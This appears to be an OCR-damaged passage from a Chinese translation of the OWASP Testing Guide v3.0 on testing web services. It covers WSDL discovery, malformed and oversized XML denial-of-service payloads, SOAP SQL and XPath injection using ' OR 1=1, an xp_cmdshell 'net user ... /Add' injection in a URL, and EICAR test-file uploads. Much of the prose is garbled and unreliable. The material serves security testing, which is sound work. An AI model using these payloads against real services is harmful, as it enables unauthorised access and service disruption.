http://<webservice-host>:<port>/<servicename>.aspx?wsdl

Bk T .aspx 9 A AL, FRATTIE AT LLFIH] ascx, .asmx, .ashx § 4 o

[ A A BAF disco SRACEF 2wsdl
http://<webservice-host>:<port>/<servicename.dll>?wsdl
http://<webservice-host>:<port>/<servicename.exe>?wsdl
http://<webservice-host>:<port>/<servicename.php>?wsdl

http://<webservice-host>:<port>/<servicename.pl>?wsdl

% F Apache Axis , FATTAT BLR:

http://<webservice-host>:<port>/axis/services/<servicename>?wsdl|

http://<webservice-host>:<port>/axis/services/<service-name>
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SeekdaWeb 5544 %% 51 8 n] DU ik AHOCHEIA H B FL B — A>3 Web g5 . T 24T seekdaWeb 5551 55 N G HHE
Fro WATVIET] LLBE B ] — L bR UE, LU Tag Cloud, Services by Countries , Most Used Services.

http://seekda.com

:seel

Advanced Search
Services Tag Cloud
Providers by Countries
Most Used Services

My Bookmarks

Recently Found Services

Counter
27.684. | 7.284
senvices [rowvicers

read more on the recent trends

Featured

Hand-picked Web Services that
are worth a closer look.

[

GlobalWeather

by: webservicex.com

Current weather and weather
cenditions for major cities around
the world.

Seek Services News Consumers

google Search

Basic Search Top 100 Tags

Country any S
This restricts your search to the country the Web Service is hosted.
Provider

e.g. "xignite.com".

Tag

e.g. "fax", "sm
Order by

Pick the crder most relevant for your purpose.

Results 10 % _ remember

s", enly services with this specific tag will be found.
relevance *

Providers

login | register | home | help | contact

Number of Results to display. Activate the eheckbox to remember settings for

this session.

Need Help? advanced search tips,

Search RESU":S sort by | relevance (default)

results 1 to 10 of 56

GoogleService (view details)
by iter.dk

.
-

1 23456¢3>n»

mm

About

Web Service Search

Get in Touch

Questions or suggestiocns
about seekda Web Services
Search Engine? Contact us
via mail. {no free agent
available to chat)

Related Searches

Cther users who searched
for "google” searched also
for:
amazen search maps
weather garth

Ads
ads by Google

Weather Monitoring
Portable, Staticnary,
Systems Regulation
compliant sensors
WWW.Metone.com

BN FER I EERAE VR Web IR45 & WSindex(http://www.wsindex.org)
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WSindax

Web Services Links B Resosrcos

Search |

Modify a Link |

Mews Links ;| Cool Links | Top Rabed | Random Link |

||‘\ Go | Advanced Search

Companies [534)

NET, BPM, e-Business, Internet
Protocols
Commerc y awvailable XML products
and services

Education {105}
. usiness Process Modelling,

Traiming, tutorals, self-instruction and
courses

Governance (45)

Gowvernments, Industry, Internet, Open
Source ...

Organisations responsible for setting and
maintaining standards

MNews and Media (72
. e-Commerce, Gesk, Internet ..
Mewss, articles, reviews and opinion on
Internet and Web Services

Resources [321)

JMNET, BizTalk, Business Process
Modelling, EGI ...

Dewveloper resources im programming,
design and deployment

Semantic Web (50}

Topic Maps

Web content which is meaningful to
compubters and machines

Venture Capital (14)

“Wenture capital funds with an interest in
‘Web Services and related technologies

Web 2.0 (25)
APL-accessible services with desktop
functionality and/or look & feel

Web Serwvices (75)

Trawvel & Tournsm

Companies providing a Web Service,
Directories of Web Services

Weblogs (72}

Blogaing Tools

‘weblogs maintained by individuals and
arganisations with relevant Web Services
content

WSards (12)

WSards {("Wizards"), gurus, talking
heads, opinion formers and technocrats

WSDL (12}

Web Services Description Language and
related information

HKML (228)
Browsers, Content Management
Database, Dewvelopment ...

ektensible Markup Language and related
S0OAP [(24) techmologies
Simple Object Access Protacal for
delivering Web Serwvices

UDDI (17}

E tries
Universal Description, Discowery and
Integration business directory

UDDI Browser

UDDI F S AN AR I W R UL A uDDI AEZk T H, HLAEHE R A 3L uDDI % E I Web 45
http://www.soapclient.com.
AT LLE FH IS operator, Microsoft and XMethods:

Operator: Microsoft

Search For: iN | Business Names T}

XMethods

Advanced Search

Search |

BN, IRES AR — N E A T A FR IRSG G FR B ISRk R T UDDI .
& 4% UDDI Hi%

PeArT e LU B =2 1) uDDI 30 VE s RFIE % = A4 A\ uDDI V.
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0060 Advanced UDDI Browser =
T B o T e T SR ~
LAl m (C) () (&) ([ hp://www.soapclient.com/UDDIAdy. html o Q
Home | SOAP Tools | UDDI Browser | Resources | Source Code | RFCs | News Reader | SOAP Interop | Bookmarks
SOAP Scrvices: PKI Services | Google Search | Book Search | EDGAR Search | SOAP Data | More...
M
Advanced UDDI Browser
Operator URL: http: / fwww. xmethods.com/inquire
Search For: stock iN _service Types (tModel} | %
Exact Match =
Case Sensitive: =]
Search Qualifiers: g5t By Name _ Descending
Sort By Date ) Ascending
Maximum Rows: [so &
( Search )
What is this? L

This UDDI Browse

r allows you to search custom or private UDDI registries.

How to Browse/Search?

-« Type in the UDDI registry URL.

Micresoft UDDT

Micresoft Test UDDI:

IBM UDDL:
IBM Test UDDL:

Type in a

Commonly used URLs are:
hitp://uddimicrosoft.comdinguire

http://testuddimicrosoft
htpe e
htpe - 3.

iyap
i/ testreg: s!'ry/ nquiryapi

string you are searching for, and select one

of the categories.
= The result page contains the business descriptions and

list of services provided.

Click on the serwvice key of

your interest to see the service details.

Where to Find Category Codes?

Some UDDI searches using numerical codes, you can find them using the

following pointers:

XA S5 ARV

Soapclient H& &

AT HB)
H B A A1
Simple SOAP Clie

SOAPClientdXG = i+ XML [£] SOAP Client,

java -jar SOAPClient4XG http://api.google.com/search/beta2

CURL
BA 1k ] LU ik
%l

curl --request POST --header “Content-type:
--data @my request.xml http://api.google.com/search/beta2

Perl — SOAPlite

Web H&& jJA_» 5l

(7 AR AL Web il 55 AL

115 Web fIR55 H 8 JEARA FHHT .
nt- SOAPClientdXG
REMS LE AR M iy

& CURL 1 Web k%5

a

UDDI Resourcs
UDDl.org

XML Cover Pages
IBM UDDI

MS UDDI

SUN UDDI
jUDDI

UDDI Reference

SOAP Tools

SORP
Interop Tester
News Reader
SOAP Server

BRI AT B

text/xml

JHiL Perl and SOAP::lite FRICERATTWT LLEIEE H 24k A K 1% SOAP K

SOAP XML File

N T M2 ATHH web k55

FATRT LG (1) SOAP TR 3L

AT IIE—A SOAP 153K, filln

OWASP iR FE T v3.0

my sample search.xml

SR S5 CURL $RAZA RS 2%
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<SOAP-ENV:Envelope
xmins:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">

<SOAP-ENV:Body>

<m:GetZip xmIns:m="http://namespaces.example.com">
<country>Italy</country>
<city>Roma</city>
</m:GetZip>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

B — DA GRS 1) XML SO BATAT DU —AN a0 B 1 SR B Web 4
SUNIIDUY 7

Wik B B VA 1 Y

S Bk

- BRI

-XSS

-sQL ¥ EA

225 SCHR

®  DISCO: http://msdn.microsoft.com/en-us/magazine/cc302073.aspx

e  UDDI OASIS Standard: http://www.oasis-open.org/specs/index.php#uddiv3.0.2

e  Understanding UDDI: http://www-128.ibm.com/developerworks/webservices/library/ws-featuddi/index.html

e  WebServices Testing: http://www.aboutsecurity.net

e  Net Square wsPawn

®  OWASP WebScarab: Web Services plugin

®  Mac OSX Soap Client: http://www.ditchnet.org/soapclient

e  Foundstone WSDigger: http://www.foundstone.com/us/resources/proddesc/wsdigger.htm

e  Soaplite: http://www.soaplite.com
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e  Perl: http://www.perl.com

e  SOAPClient4XG: http://www-128.ibm.com/developerworks/xml/library/x-soapcl/

e CURL: http://curl.haxx.se
LT R

e  Web Services Directory: http://www.wsindex.org

e  Seekda: http://seekda.com/

e  UDDI Browser: http://www.soapcliet.com/

e  Xmethods: http://www.xmethods.net

e  WSIndex: http://www.wsindex.org

4.10.2 WSDL i (OWASP-WS-002)

OWASP iR FE T v3.0

{4

— HUH wsDL,  FATAT LA .

|

N T HEFEN SRR T DM EFRHE SOAP TR ERAE, ZIKIEE Web 55 1) WSDL. iR WS A2xilt Fabla (5 K.

| A K2

P Web Ji 25 (W i 2 554 Web 5531 2% (1) SOAP 5, AR AT LAGIEE MR I A5 B R RE TR0 At o

BlF:

—AMRUF T /& WebGoat5.0 WSDL F4Hiif . LL R & e bt
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This screen is the AP for a web service, Check the WSDL for this web service and try to get
some custorner credit numbers,

Enter your account number: (101

First Mame
Select the fields to return: | Last Mame
Login Count - |
Subimit

View the web services definition language (WSDL) to see the complete APD:

WebGoat WISDL

XHEIATE R T —MER] FirstName, LastName, Al Login Count /E 0 241 Web IR 55 Al . WERARE T AN
WSDL, fReAI

<wsdl:portType name="WSDLScanning">
<wsdl:operation name="getFirstName" parameterOrder="id">
<wsdl:input message="impl:getFirstNameRequest" name="getFirstNameRequest"/>

<wsdl:output message="impl:getFirstNameResponse" name="getFirstNameResponse"/>

</wsdl:operation>

<wsdl:operation name="getLastName" parameterOrder="id">

<wsdl:input message="impl:getLastNameRequest" name="getLastNameRequest"/>
<wsdl:output message="impl:getLastNameResponse" name="getLastNameResponse"/>

</wsdl:operation>

<wsdl:operation name="getCreditCard" parameterOrder="id">
<wsdl:input message="impl:getCreditCardRequest" name="getCreditCardRequest"/>
<wsdl:output message="impl:getCreditCardResponse" name="getCreditCardResponse"/>

</wsdl:operation>

<wsdl:operation name="getLoginCount" parameterOrder="id">

<wsdl:input message="impl:getLoginCountRequest" name="getLoginCountRequest"/>
<wsdl:output message="impl:getLoginCountResponse" name="getLoginCountResponse"/>
</wsdl:operation>

</wsdl:portType>

FATRIL 4 NERAETTAGE 3 4. ] WebScarabWeb 554 1F, AT LA ST SOAP 153K 3k H 45 7€ 1D IUfF .
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o View Jools Help
Sarminaty | Meiiagrs | Prosy | Mandsl Pequei | WeSSendsid | Spedie | [dendii | Sesionll Anahal | Serpled | (iegmenti | ferne | Compaie | Seaich

AR, 3 NG T B b Al W e Seapiuedl P OR
e CHIL LB

STACE - Seouspl ik S n

pad lion | i ad

|._..li'_' [T - "
L L 1ot

H XA SR 1) SOAP 15 3K
POST http://localhost:80/WebGoat/services/SoapRequest HTTP/1.0
Accept: application/soap+xml, application/dime, multipart/related, text/*
Host: localhost:80
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Content-length: 576
Authorization: Basic Z3VIc3Q6Z3VIc3Q=
<?xml version="'1.0' encoding="UTF-8'?>
<wsns0:Envelope
xmlns:wsns1="http://www.w3.0rg/2001/XMLSchema-instance'
xmins:xsd="http://www.w3.0rg/2001/XMLSchema'
xmins:wsns0="http://schemas.xmlsoap.org/soap/envelope/'>
<wsns0:Body
wsns0:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/'>
<wsns2:getCreditCard
xmlins:wsns2="http://lessons.webgoat.owasp.org'>
<id xsi:type="'xsd:int'
xmlns:xsi='http://www.w3.0rg/2001/XMLSchema-instance'
>101</id>
</wsns2:getCreditCard>
</wsns0:Body>
</wsns0:Envelope>
And the SOAP Response with the credit card number (987654321) is:
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/xml;charset=utf-8
Date: Wed, 28 Mar 2007 10:18:12 GMT
Connection: close
<?xml version="1.0" encoding="utf-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmins:xsd="http://www.w3.0rg/2001/XMLSchema" xmlins:xsi="http://www.w3.0rg/2001/XMLSchema-instance">

<soapenv:Body>

319


https://www.owasp.org/index.php/Image:WSDLWebScarab.png
http://localhost:80/WebGoat/services/SoapRequest
http://www.w3.org/2001/XMLSchema-instance%27
http://www.w3.org/2001/XMLSchema%27
http://schemas.xmlsoap.org/soap/envelope/%27
http://schemas.xmlsoap.org/soap/encoding/%27
http://www.w3.org/2001/XMLSchema-instance%27
http://schemas.xmlsoap.org/soap/envelope/
http://www.w3.org/2001/XMLSchema
http://www.w3.org/2001/XMLSchema-instance

<nsl:getCreditCardResponse soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmins:ns1="http://lessons.webgoat.owasp.org">

<getCreditCardReturn xsi:type="xsd:string">987654321</getCreditCardReturn></nsl:getCreditCardResponse>
</soapenv:Body>

</soapenv:Envelope>

WSDigger
WSDigger & —Fh .24 1) H 3h4k Web R %5224 A ) IR T H .

HTEAS TR AT LA IRA TR 5%, S e ] B p) S () AT 80, shalsm A — S8ty A ] Web JI 95 A7 540
.

MIATE Web RS2 ENIN, BRI C4 3T WSDigger, H Web k451218 W45 i s o7 H 8 Cinvoke
button) AT .

¥ WSDigger 9 (=13

File Attacks Analysis Report Help

Foundstone: | WSDigger”

WSDL [http://api. google.com/GoogleSearch. wsdl Get Methads | Clear D ata |
Servica URL |http:.-".-"api.google.coma"searcha"hetaZ Invoke
- GoogleS earchS ervice Input Input alue
dolGetCachedPage |- doGoogles earch »~ Tupe|Sting
doSpelingS uggestion !:-trng key = Valz
doGoogleSearch Stingq=
Int32 start =
Int32 maxResults =
Boolean filker =
String restrict = B
Output Output Value

<« Back

Proxy azsembly loaded successfuly from file; CADOCUME ~1ADELTAUTMMPOST 14 Temph TACOFES3EB 2B 34D 38D DE S0CE

SR

DR A2 BLAG B TT (A PR AN BORE, b i) Web JIR S5 B HTRR e SEVFVS ) — A5 TE SOAP £ B #RAF LL K
ULV I B Kodf .

7% SCHk
HEFS

®  W3Schools schema introduction - http://www.w3schools.com/schema/schema_intro.asp
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TH

®  OWASP WebScarab: Web Services plugin

e  Foundstone WSDigger: http://www.foundstone.com/us/resources/proddesc/wsdigger.htm

4.10.3 XML &5 #JM3k (OWASP-WS-003)

{4

XML 5 5547 AR IR A BE IR IIE M . 4RSS 23w HEA T XML TEA 0TI, AN SR I XML K2 k. —AMidT
P BAERA XML AR B4z e a0 0 7 AWRIE AT, ZFEA BEPEAL XML A5 2UE 15 A 4% .

— A XML BT AEHR R CPU B, SESSI 1) AR A R R B AN S RS K XML A BRI AT AN o

N T AR 55 F B ] A A A7 AT CPU BEOR B A BELIT R 55 Mo eety, U R LB AH N 25 R ) XML
Ao bpnE, XA AT XML S A8 0 cPu ) fidt.

B3
KR T AORST Web IR S5 BT R A, ] Al T T B O AR K RO

tednid, — MR AEEIER TR LS HRIE A s M1 e XA RIRE S TA% AN XML SO CEE s
IETUER, BB BATN SRR TR RS o T AAF 3 752 RIS S, 25T DOM (MM wl e DoS
Wil CIERFER SAX RATA SO o ELlmniii, ££ DOM S5 A4 HH R K IR B W] i 5 S [

Web iR 5T833miH: 7EMINGE BAMNEZRT, JRLTFIA] SAX Bi# DOM X XML BEAT 15 )R AT o

ARG LA
BlF:
W FEE R . XML 2B (R0 S5 A8 AT RE I AFAT o W IK) SOAP 5 L I BE S ISR £ AL F (R 73

<?xml version="1.0" encoding="1SO-8859-1"?>
<note id="666">

<to>OWASP

<from>EOQIN</from>

<heading>l am Malformed </to>

</heading>

<body>Don’t forget me this weekend!</body>
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</note>
B 2:

EE RN RAA S

http://www.example.com/ws/FindIP.asmx?WSDL
TR T — N WS fili /e

[Method] GetURLIP
[Input] string EnterURL
[Output] string

—MRAER SOAP 13K :

POST /ws/email/FindIP.asmx HTTP/1.0

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 1.1.4322.2032)
Content-Type: text/xml; charset=utf-8

SOAPAction: "http://example.com/webservices/GetURLIP"

Content-Length: 329

Expect: 100-continue

Connection: Keep-Alive

Host: www.example.com

<?xml version="1.0" encoding="utf-8"?>

<soap:Envelope xmlins:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.0rg/2001/XMLSchema">

<soap:Body>

<GetURLIP xmlIns="http://example.com/webservices/">
<EnterURL>www.owasp.org</EnterURL>

</GetURLIP>

</soap:Body>

</soap:Envelope>

SOA M [V 4% :

HTTP/1.1 200 OK

Server: Microsoft-11S/5.0

Date: Mon, 26 Mar 2007 11:29:25 GMT
MicrosoftOfficeWebServer: 5.0_Pub

X-Powered-By: ASP.NET

X-AspNet-Version: 1.1.4322

Cache-Control: private, max-age=0

Content-Type: text/xml; charset=utf-8
Content-Length: 396

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlins:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.0rg/2001/XMLSchema">

322


http://www.example.com/ws/FindIP.asmx?WSDL
http://example.com/webservices/GetURLIP
http://schemas.xmlsoap.org/soap/envelope/
http://www.w3.org/2001/XMLSchema-instance
http://www.w3.org/2001/XMLSchema
http://example.com/webservices/
http://schemas.xmlsoap.org/soap/envelope/
http://www.w3.org/2001/XMLSchema-instance
http://www.w3.org/2001/XMLSchema

<soap:Body>

<GetURLIPResponse xmlns="http://example.com/webservices/">
<GetURLIPResult>www.owasp.com IP Address is: 216.48.3.18
</GetURLIPResult>

</GetURLIPResponse>

</soap:Body>

</soap:Envelope>

A XML G I 17 R

POST /ws/email/FindIP.asmx HTTP/1.0

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 1.1.4322.2032)
Content-Type: text/xml; charset=utf-8

SOAPAction: "http://example.com/webservices/GetURLIP"

Content-Length: 329

Expect: 100-continue

Connection: Keep-Alive

Host: www.example.com

<?xml version="1.0" encoding="utf-8"?>

OWASP iR FE T v3.0

<soap:Envelope xmlins:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlins:xsi="http://www.w3.0rg/2001/XMLSchema-instance"

xmlns:xsd="http://www.w3.0rg/2001/XMLSchema">
<soap:Body>

<GetURLIP xmlIns="http://example.com/webservices/">
<EnterURL>www.example.com

</GetURLIP>

</EnterURL>

</soap:Body>

</soap:Envelope>

— M1l DOM-based 11173 HT i) Web ik 5545 AT IR T KN AR XML AE XL ssib i a0 as 347 204 -

ESMR KK PAYLOAD:

<Envelope>
<Header>
<wsse:Security>
<Hehehe>| am a Large String (1MB)</Hehehe>
<Hehehe>| am a Large String (1MB)</Hehehe>
<Hehehe>| am a Large String (1MB)</Hehehe>
<Hehehe>| am a Large String (1MB)</Hehehe>
<Hehehe>| am a Large String (1MB)</Hehehe>
<Hehehe>| am a Large String (1MB)</Hehehe>
<Hehehe>| am a Large String (1MB)</Hehehe>...
<Signature>...</Signature>
</wsse:Security>
</Header>
<Body>
<BuyCopy><ISBN>0098666891726</ISBN></BuyCopy>
</Body></Envelope>
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€

IR

Web 45 #eth nf LA —A> —3EHIH44:, Ll Blob 5{# exe. Hi1T DIME (Direct Internet Message Encapsulation) 1)
P ANANAAT IR TTE, Web RG24 K HAFAR & H base64 %\ gmhid .

HREEE AR SN EH K base64 P47, MNAHE AT RESAB/IE AT BEU, ik B2 Ve RE L . 3L
EHBGH A REELA 7 base64 —BETIFIE AMEGL 1 —HERISCA: o X BEAF 0 ANIE 2 K15 ) 73 vl B2 FE S DR -

= SM1R KK BLOB:

<Envelope>
<Header>
<wsse:Security>
<file>jgiGldkooJSSKFM%()LFM$SMFKF)SKRFWFSFRFkflIfkfkkorepoLPKOMAkjiujhy:llki-123-01ke123-
04QWS03994k£RSTrfefelfdk4r-45kgk3lg" £104040If;IfFCVrSVSBBAN&*<M&NNB%........... 10MB</file>
<Signature>...</Signature>
</wsse:Security>
</Header>
<Body>
<BuyCopy><ISBN>0098666891726</ISBN></BuyCopy>
</Body>
</Envelope>

WSDigger
XA TRBATTH LA Web IR S5 75 k45 NS S 885, 2856 WSDigger F1ifi th ¥ 45 2R .

WSDigger f G FEA K T d R, H T
e SOLVEA
o EUNHIAI T

e  XPATH JEAXH
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[ 50L injection attack.
Cross hg attack

19 atl
ion attack

O %Path injec

IR A AR K 2 45

it ZAS A AT LAUT IR ) Web IR 55 as 26, RN A% DPAS Br A S 580 A0 HEAT SR . PRI LA VI 2o 2 0 Y
RAEMEE

FUBS © 5 LR AE SR

BRE - e VI BRI AL

WK TAET 0

KEE i) AT M8 H B VRIS
WAKTAET 0

maxExclusive : i 52 KA E 1 ES .

(fH 2N T EFY)

maxinclusive : fi75& 57 FA

(fH 2N T55 T 5

maxLength : Ji5 € AT EOCE H BE RRVFISIE
WAKTAET 0

minExclusive : $55 & £ E I T 5

(EIR T N5
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€

mininclusive : 5 & 5T 5
(ERBHBURTEET R I

minLength : J5 5 74 1R NECH BCE SRVRIEIR .

WAKRTAET 0

pattern : & S V) I T B H 2 1 A5 R4

totalDigits : fi7 /& K i i) RVFHIEC 7 . LAURT 0.

whiteSpace: 1552 (X (#0147, BEKS, R4 dnflabBe.,

o  W3Schools schema introduction - http://www.w3schools.com/schema/schema_intro.asp

®  OWASP WebScarab: Web Services plugin

4.10.4 XML P 225 5 13X (OWASP-WS-004)

ikl

WA GON I B R G E Web JIR55 S HAEHT N TRE RS (0 ENUIR ST 2%, AU HE Web IR55as . Edla e, IR RS
e BAE RS WAEDNMGT IR EAEE 1) sQUIE A B XPath VEAN 2) ZEffiith 3) AT A

B3

Web 55 HH 0 268 1 b W0 4863045 Bk 25 7 i B2 (1 8 R IR 55 o 3X 28 IR 55 T LB AR ] HTTP SOAP SRABATI I ZhE -
SOAP fr B SR Jrid, G SOARRER A — b BIM 1, ZOR EHLAT Lo g — ot At Bt
FEv SO EIARAE . U FORRA N R 48 ) BRI TRAEAE I, 25k RSN IHA TR e vl B A A A . 53
Gb, HT Web AR5 (IR 55 a4 ity ZEARBLIXAN Bl WEREATAN T B8 BB R A R (oS 3 SO,
BRABII ST R 255 ) TEMUIRSS A W] REAF A8 T B AR o

N TfEF RS, Bubid v UL — MIFEE R TT R XML U (SOAP /5 D) o 71 web W HIFE =il ik vl o b
AL IE 2 1 N AR IR
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AR N A5 451
sqL 7 A EE XPath y3 A\ IR TR M

1. H7 7T Web lt45 ) WSDL. WebScarab, —4NH T1R 2 W2 3 B R IA L RE ) OWASP T H, 5 —ANSZHl Web il
25 ThAEEN WebService $fift.

s WebScarab

l[lle View Tools Help
Summary Messages Proxy Manual Request WebServices Spider  Extensions XSSCRLF | Sessionit]

WSDL : 15 . GET httpcisoap.amaron.com:B0/ischemas2/AmazonWebServices.wsdl 200 OK

'WSDL URL : hitp #s0ap amazon com/schemas 2iAmazonWebServices wsd

Service : AmaronSearchSerace

Ooecation ™ MeasordSeachBeauest

2. 7F WebScarab, 1&JET WSDL & XS H8H .

Nade ':3 it Hillabla Valye

swirdSediit

(Uit tly Lad &

~
Ky
r_‘[‘;l(mm&mmeqml KeywordRequest kusenid>myuser<iuserid> <passworde' OR 121 sipassworde

A —ARGS O, WRHERTLIEAN AN EAFER], AAEIRT sau s xPath IR [F] true, 1=1. WIERIXZEH] T8
s HIXAMEAAREAER, LN 1=1 7T LU =%

2 (L LI
<userid>myuser</userid> <password>' OR 1l=1</password>

£ sQL HizfE ol -

WHERE userid = 'myuser' and password = OR 1=1 and in XPath as: //user[userid='myuser' and
password= OR 1=1]

b UESS

e L, PR T DLk S S e e i) Web IRSS, BB AEEGE E _LHAT RS .

S rhs H R TR -

A TR T Web k%525 EAIH Web R A TAT AR & T HEMT o 1] — AN Tl (1) N R P 26— ANRe ) ST 1)
HTTP ik, Sgliuit, HATFKEEEHITAIE . FH—AME MetaSploits IXAF IR T R85 IF AR B 2 it
i, Bt EeE T — AN EE AR EENR . MailEnable Authorization Header Buffer Overflow & Web JI% 4522 i

HRFERG T2 —, IFHHYY T MetaSploits 71 f¢]"mailenable_auth_header.". XM Open Source
VulnerabilityDatabase ..

HOEER
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€

PATAE AR R 2R E AT

| R A 2
1 RN E——SQL M, HTML FRE55E%E——T BRI A S L ? i OWASP XSS 45/

(http://www.owasp.org/index.php/XSS) B34 45 52 ¥ 1F 5 $AAT, #1U1 PHP ) htmispecialchars, H KA (54T H 7 i
Ao

208 TIRGE M R BGT, RoEE Web IRS54% R ik 55 2 ANEHs 128 Rk 55 2 RO T kb T 022 4 (G g, B RV 4%

)
=7).

225 SR
HEH

= NIST Draft publications (SP800-95): "Guide to Secure Web Services" - http://csrc.nist.gov/publications/drafts/Draft-SP800-

95.pdf
=  OSVDB - http://www.osvdb.org

TH

OWASP WebScarab: Web Services plugin - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project

MetaSploit - http://www.metasploit.com

4.10.5 HTTPGET Z%{/REST i, (OWASP-WS-005)

{4

VF2 XML R e il it HTTP GET ArififE S HORATH I o A M Al AT 14549 A A2 “REST-style"Web JIx45(REST =
Representational State Transfer). 7E HTTP GET “F45 (40, FEnlmZ4 (2048 F47) )« sQL iER)/iEN (B
OS TEAZED HALHIG R NI, X5 Web R4S 4% 3 Ul .

B ¥% Web %% REST SEB5 b 7E Bt 95 HLZ HTTP-In -> WS-OUT, ‘BXATTER LAY HTTP Boeks il AR . X AR M
ROefiries. i, 7 N i g HTTP sk

"WiewDetail=detail-10293", the HTTP GET parameter is "detail- 10293".

AR K 254
R FEAICEH A LLEEZ LA R HTTP GET 251 ) Web JIli%5:
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https://www.ws.com/accountinfo?accountnumber=120394756userId=asi9485jfuhe9?2
Wi [ 45 R 2 I T2

<?xml version="1.0" encoding="IS0-8859-1"7?>

<Account="12039475">

<balance>€100</balance>

<body>Bank of Bannana account info</body>
</Account>

PRIXAS RESTWeb Ji 55 1O EH A R BR— BRI A 7 DK R B
FAURIXRE 17 -

https://www.ws.com/accountinfo?accountnumber=12039475' exec master..xp cmdshell 'net user Vxr
pass /Add suserId=asi9485jfuhe92

IR e % 45
— BE] HTTP 455K, AR IZ5E LT -
SEER
1 KRE RRRATT R
2. BIEASE
3. WURARE, SCBARS AT CHRPILEC” “CASRUR T DA GRUE T .

4. WIESHARAFAENE

= The OWASP Fuzz vectors list - http://www.owasp.org/index.php/OWASP Testing Guide Appendix C: Fuzz Vectors

4.10.6 Vi B %) SOAP [f}f:(OWASP-WS-006)

(iFly

X HB I RA T HZ AT Web [ 55 IO Bk ) 5o & R AE R T8 BN B0 IR 55 453 A7) O 2R - I
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€

|k

RERI SO R HE AT RE AL SRR A AT AT RIOSCRSRAY, IR IR Z R Web IRSSAL R k. XSO AT AR
KA Web RS IEIE IS EG38; WATHEVE Il T SOAP [IBHEALE, EATERfefiH DIME (Direct Internet
Message Encapsulation)) F1 WS M4 %iE .

B # n LA —> XML SCRY (SOAP 155 H 17 Web JIR 45 Rk 6 B B AT I B A ik Web JIRS5 EHLES
7T SOAP B, NN 2 60 25 5 0 2 B TR s K o -l v

PRt K 25 451
XHE R 2 B0 R B S BEAT TR -
1. RS MAER) wsDL -

ZLUE

. <s:element name="UploadFile">

<s:complexType>

<s:sequence>

<s:element minOccurs="0" maxOccurs="1" name="filename" type="s:string" />
<s:element minOccurs="0" maxOccurs="1" name="type" type="s:string" />
<s:element minOccurs="0" maxOccurs="1" name="chunk" type="s:base64Binary" />
<s:element minOccurs="1" maxOccurs="1" name="first" type="s:boolean" />
</s:sequence>
</s:complexType>
</s:element>
<s:element name="UploadFileResponse">
<s:complexType>
<s:sequence>
<s:element minOccurs="1" maxOccurs="1" name="UploadFileResult" type="s:boolean" />
</s:sequence>
</s:complexType>
</s:element> ...

2. 7E SOAP {5 BN E s in— AN JEBEA PE R 85 40 EICAR, REAEIER] H Ar Web RS, EXAHITFH, FH
T EICAR.

1 T EICAR B4 (fEN Base64 343E) ) SOAP 5 B.:

POST /Service/Service.asmx HTTP/1.1

Host: somehost

Content-Type: text/xml; charset=utf-8
Content-Length: length

SOAPAction: http://somehost/service/UploadFile

<?xml version="1.0" encoding="utf-8"?>

<soap:Envelope xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.0rg/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
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<UploadFile xmlns="http://somehost/service">

<filename>eicar.pdf</filename>

<type>pdf</type>
<chunk>X50!P%QAP[4\PZX54 (P") 7CC) 7} SEICAR-STANDARD-ANTIVIRUS-TEST-FILE! SH+H*</chunk>
<first>true</first>

</UploadFile>

</soap:Body>

</soap:Envelope>

HOEER

— M1 UploadFileResult 2% SOAP M. H ik true CHRIEFEN RS AFRIVEEANFD o EICAR I 85 SC4F o vF
A EHURSS 25, HAER PDF HH 4 ic

X5 & B AU TR ) SOAP BEAT BRI -

AN RBART, 1ERMAZT (FEE EICAR base64 {5 5D -

POST /insuranceClaims HTTP/1.1

Host: www.risky-stuff.com

Content-Type: Multipart/Related; boundary=MIME boundary; type=text/xml;
start="<claim061400a.xml@claiming-it.com>"

Content-Length: XXXX

SOAPAction: http://schemas.risky-stuff.com/Auto-Claim

Content-Description: This is the optional message description.

--MIME boundary

Content-Type: text/xml; charset=UTF-8
Content-Transfer-Encoding: 8bit

Content-ID: <claim061400a.xml@claiming-it.com>

<?xml version='1l.0"' ?>

<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>

<claim:insurance claim auto id="insurance claim document id"
xmlns:claim="http://schemas.risky-stuff.com/Auto-Claim">
<theSignedForm href="cid:claim061400a.tiff@claiming-it.com"/>
<theCrashPhoto href="cid:claim061400a.jpegl@claiming-it.com" />
<!-- ... more claim details go here... -->
</claim:insurance claim auto>

</SOAP-ENV:Body>

</SOAP-ENV:Envelope>

--MIME boundary

Content-Type: image/tiff
Content-Transfer-Encoding: base64

Content-ID: <claim061400a.tiff@claiming-it.com>

X50!P$@AP[4\PZX54 (P") 7CC) 7} SEICAR-STANDARD-ANTIVIRUS-TEST-FILE! SH+H*
--MIME boundary

Content-Type: image/jpeg

Content-Transfer-Encoding: binary

Content-ID: <claim061400a.jpeglclaiming-it.com>

...Raw JPEG image..
--MIME boundary--
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EICAR A5 8 SCAF U VAR AE LIRSS %, HLASH 3 BCRC—AS TIFF S0

ZH
FB

= Xml.com - http://www.xml.com/pub/a/2003/02/26/binaryxml.html
= WS3C: "Soap with Attachments" - http://www.w3.0org/TR/SOAP-attachments

TH

=  EICAR (http://www.eicar.org/anti_virus test file.htm)
= OWASP WebScarab (http://www.owasp.org/index.php/Category:OWASP WebScarab Project)

4.10.7 HEILIN K (OWASP-WS-007)

{4

